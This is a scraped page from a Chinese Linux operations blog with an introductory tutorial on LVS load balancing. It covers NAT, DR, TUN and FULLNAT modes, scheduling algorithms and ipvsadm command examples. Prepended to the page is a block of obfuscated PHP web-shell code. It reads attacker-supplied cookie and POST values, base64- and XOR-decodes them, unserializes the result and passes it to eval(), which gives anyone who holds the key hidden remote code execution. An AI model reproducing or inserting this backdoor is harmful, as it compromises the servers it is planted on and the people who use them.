$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} LVS入门 | Linux运维部落

LVS入门

随着互联网进入寻常百姓家,网络流量愈来愈大,大规模的网路访问如果都使用一个服务器提供服务,那么网络通讯注定会拥堵不堪。为了解决这些问题,达到使网络流量均衡地分散到各个服务器上的目的,一些技术大牛发明了LVS负载均衡技术。

 

LVS简介

 

LVS(Linux Virtual Server)即为Linux虚拟服务器,使由章文嵩博士主导开发的,这也是我们中国人对开源界的一大贡献,目前LVS已经被收录在了内核中,小伙伴们在使用较新版Linux系统时默认会附加这个功能。

什么是负载均衡呢?简单来说就是通过技术手段,将前端访问数据流通过调度算法分派给后端服务器的过程。按照实现技术手段不同,可以分为NAT DR TUNEFULLNAT四种类型。

 

基于NAT LVS

此种类型的负载均衡与iptables的源地址转发较类似,主要区别在于:负载均衡在PREROUTING链上没有规则,接收到的报文会发送给本机的INPUT链,然后通过内核调度直接把报文按照设定的规则通过POSTROUTING链发送给网络服务器。

 

基于DRLVS

此种类型的负载均衡在LVS服务器接收到客户端的报文后会修改报文的目标MAC地址,然后将其重新发送给交换机,交换机接收到之后再按照新的目标MAC地址将报文发送给网络服务器,网络服务器的内部回环设置与LVS相同的IP地址,并通过技术手段禁止此地址在局域网广播,在响应客户端请求时会使用此IP地址,达到伪装LVS 地址的作用。

由于此种类型的响应报文不经过LVS服务器的转发,其效率最好,但配置方法最复杂。

 

基于TUNELVS

此种类型的负载均衡的LVS服务器在接收报文时会在收到IP段首部添加目标网络服务器的IP首部,并发送发给远程网络服务器,当网络服务器接收到这些报文时会拆分数据报,并使用与LVS相同的IP地址将响应报文发送给客户端。

 

基于FULLNATLVS

此种类型的负载均衡的LVS服务器与NAT类似,只不过在接收报文时会将报文中的源和目的地址都进行修改,这样即使局域网中有多个路由器,也可以把响应报文准确传给LVS服务器。

 

LVS调度算法

上述四种模式都包含了以下几种调度算法:

轮询调度

加权轮询调度

最小连接调度

加权最小连接调度

基于局部性最少连接调度

目标地址散列调度

源地址散列调度

下面以NAT模式为例,介绍下LVS安装使用流程

yum安装ipvsadm

yum install –y ipvsadm

 

ipvsadm 选项  服务器地址 –s 算法

ipvsadm 选项  服务器地址 –r 真实服务器地址[工作模式][权重]

ipvsadm常用参数:

-A 添加一个虚拟服务器

-E 编辑一个虚拟服务器

-D 删除一个虚拟服务器

-C 清空虚拟服务器列表

-R 从标准输入中还原规则

-S 保存规则

-a 向虚拟服务器中添加一个真实服务器

-e 修改一个真实服务器

-d 删除一个真实服务器

-L 显示虚拟服务器列表

-t 使用tcp

-u 使用udp

-s 指定LVS的调度算法

-r 设置真实服务器IP地址和端口信息

-g 设置LVS工作模式为DR

-I 设置LVS工作模式为TUN

-m设置LVS工作模式为NAT

-w 设置指定服务器权重

-c 连接状态

-n 数字格式输出

 

例:以NAT模式添加LVS

ipvsadm –A –t 172.18.55.62:80 –s rr
ipvsadm –a –t 172.18.55.62:80 –r 192.168.0.1:80 –m
ipvsadm –a –t 172.18.55.62:80 –r 192.168.0.2:80 –m

 

ipvsadm –Ln #查看LVS规则
ipvsadm –Lnc #查看调度状态

 

例:备份和加载LVS配置

ipvsadm –S > /etc/lvs.bak
ipvsadm –R < /etc/lvs.bak

 

 

原创文章,作者:realmaster,如若转载,请注明出处:http://www.178linux.com/75149

(0)
上一篇 2017-05-09 22:41
下一篇 2017-05-10 20:15

相关推荐

  • Linux-raid的工作原理与管理

    本章内容:        1、RAID详细描述        2、mdadm 工具        3、创建raid        4、磁盘阵列的管理 RAID描述:     &nb…

    2017-06-24
  • 730作业

    1、将/etc/issue文件中的内容转换为大写后保存至/tmp/issue.out文件中 [root@local ~]# cat /etc/issue |tr "[[:lower:]]" "[[:upper:]]" > /tmp/i…

    Linux干货 2016-08-02
  • linux基础中的基础 —- 用户管理、文本处理、正则表达式等命令的使用(博客第三周作业)

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。     who | cut -d' ' -f1 | uniq 2、取出最后登录到当前系统的用户的相关信息。     who | tail -1 3、取出当前系统上被用户当作其默认shell的最…

    Linux干货 2016-07-22
  • OpenSSL 的使用详解

    OpenSSL 是一个开源项目,其组成主要包括一下三个组件:     openssl:多用途的命令行工具     libcrypto:加密算法库     libssl:加密模块应用库,实现了ssl及tls openssl可以实现:秘钥证书管…

    Linux干货 2016-09-23
  • lvs三种基础模型

    1: LVS-DR 模式(调度器与实际服务器都有一块网卡连在同一物理网段上)简要的网络结构如下所示 lvs-DR模型是lvs的默认模型,也是企业中用到的最多的模型    解读:直接路由模型,每个Real Server上都有两个IP:VIP和RIP,但是VIP是隐藏的,就是不能提高解析等功能,只是用来做请求回复的源IP的,Director上…

    Linux干货 2016-08-15
  • 计算机及Linux基础介绍

    Linux及计算机基础介绍 计算机的组成及其功能 What:计算机的组成是什么? 计算机的主要部件: CPU:可分为运算器、控制器、寄存器、缓存等 存储器:比如内存。执行程序时,会将程序及相关数据加载进内存,供CPU读取 输入设备:比如:键盘。用于下达指令及输入数据。 输出设备:比如显示器。用户显示和输出指令执行的结果等 冯诺依曼体系中提出的五大部件为:运算…

    Linux干货 2016-09-19